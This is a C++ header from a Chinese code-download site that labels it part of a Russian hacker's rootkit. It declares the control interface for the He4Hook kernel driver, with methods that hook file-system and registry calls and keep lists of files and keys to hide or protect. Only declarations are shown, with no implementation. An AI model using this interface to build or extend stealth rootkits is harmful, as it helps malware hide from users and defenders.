⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 he4hookdriverhide.hpp

📁 尔罗斯著名黑客写的rootkit
💻 HPP
字号:
#ifndef __HE4HOOK_DRIVER_HIDE
 #define __HE4HOOK_DRIVER_HIDE
#define STRICT

//#ifndef UNICODE
// #define UNICODE 1
//#endif

//#ifndef _UNICODE
// #define _UNICODE 1
//#endif

#include <windows.h>

#include "..\NtDriverControlHide\NtDriverControlHide.hpp"

#define PETHREAD PVOID
#include "..\He4Command.h"

typedef struct _W32_FILEINFO
{
  char  *lpszName;
  char  *lpszChangedName;
  DWORD  dwAccessType;

  _W32_FILEINFO()
  {
   memset(this, 0, sizeof(_W32_FILEINFO));
  }
} W32_FILEINFO, *PW32_FILEINFO;

typedef struct _W32_FILEINFOSET
{
  DWORD          dwSize;    // number W32_FILEINFO
  PW32_FILEINFO  lpFileInfo;

  _W32_FILEINFOSET()
  {
   memset(this, 0, sizeof(_W32_FILEINFOSET));
  }
} W32_FILEINFOSET, *PW32_FILEINFOSET;


typedef struct _W32_KEYINFO
{
  char  *lpszName;
  DWORD  dwType;

  _W32_KEYINFO()
  {
   memset(this, 0, sizeof(_W32_KEYINFO));
  }
} W32_KEYINFO, *PW32_KEYINFO;

typedef struct _W32_KEYINFOSET
{
  DWORD          dwSize;    // number W32_FILEINFO
  PW32_KEYINFO   lpKeyInfo;

  _W32_KEYINFOSET()
  {
   memset(this, 0, sizeof(_W32_KEYINFOSET));
  }
} W32_KEYINFOSET, *PW32_KEYINFOSET;


typedef DWORD (__stdcall *RTLNTSTATUSTODOSERROR)(DWORD NtStatus);


class He4HookDriverHide : public NtDriverControlHide
{
  public:
   BOOL         Result;

   He4HookDriverHide(const TCHAR *lpszDeviceFileName);
  ~He4HookDriverHide();

   DWORD        GetVersion();
             
   BOOL         LockSaveObjectsForAllThreads();
   BOOL         LockSaveObjects(DWORD dwClientId = HE4_UNLOCK_CURRENT_CLIENT, BOOL bForProcess = FALSE);
   BOOL         UnLockSaveObjects(DWORD dwUnlockFlags = HE4_UNLOCK_READ | HE4_UNLOCK_WRITE | HE4_UNLOCK_DELETE | HE4_UNLOCK_VISIBLE, DWORD dwClientId = HE4_UNLOCK_CURRENT_CLIENT);
   DWORD        GetUnlockListSizeByBytes();
   BOOL         GetUnlockList(PUNLOCK_CLIENT_INFO_SET pUnlockInfoSet);
             
   DWORD        HookFileSystem(DWORD dwHook); // 0 - unhook, 1 - hook Nt*/Zw*/Io*, 2 - hook DRIVER_OBJECT; result - (-1) - Error
   BOOL         AddToSaveList(char* pszFileName, DWORD dwAccessType, char* pszChangedName = NULL);
   BOOL         AddToSaveList(PW32_FILEINFOSET lpKeyInfoSetW32);
   BOOL         AddToSaveList(PFILEINFOSET lpFileInfoSet);
   BOOL         DelFromSaveList(char* pszFileName);
   BOOL         DelFromSaveList(PW32_FILEINFOSET lpKeyInfoSetW32);
   BOOL         ClearSaveList();
   DWORD        GetSaveListSizeByBytes();
   BOOL         GetSaveList(PFILEINFOSET pFileInfoSet);

   BOOL         QueryStatistic(PHE4_STATISTIC_INFO pStatInfo);
       
   BOOL         HookRegistry();
   BOOL         UnHookRegistry();
   BOOL         AddKeysToSaveList(PW32_KEYINFOSET lpKeyInfoSetW32);
   BOOL         DelKeysFromSaveList(PW32_KEYINFOSET lpKeyInfoSetW32);
             
   DWORD        QueryUnload();

   DWORD        ZwDispatchFunction(DWORD dwProcessId, DWORD dwThreadId, DWORD IoControlCode,
                                   PVOID InputBuffer, DWORD InputBufferLength,
                                   PVOID OutputBuffer, DWORD OutputBufferLength, 
                                   DWORD *lpBytesReturned);
   virtual BOOL SendCommand(USER_COMMAND *lpUserCommand);

  protected:
   BOOL         AddShortName(PW32_FILEINFOSET lpFileInfoSet);
   BOOL         DelShortName(PW32_FILEINFOSET lpFileInfoSet);

   PFILEINFOSET CreateFileInfoSet(PW32_FILEINFOSET lpFileInfoSetW32);
   PKEYINFOSET  CreateKeyInfoSet(PW32_KEYINFOSET lpKeyInfoSetW32);

   BOOL         GetNtProcAddresses();

   RTLNTSTATUSTODOSERROR pRtlNtStatusToDosError;
};

#endif //

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -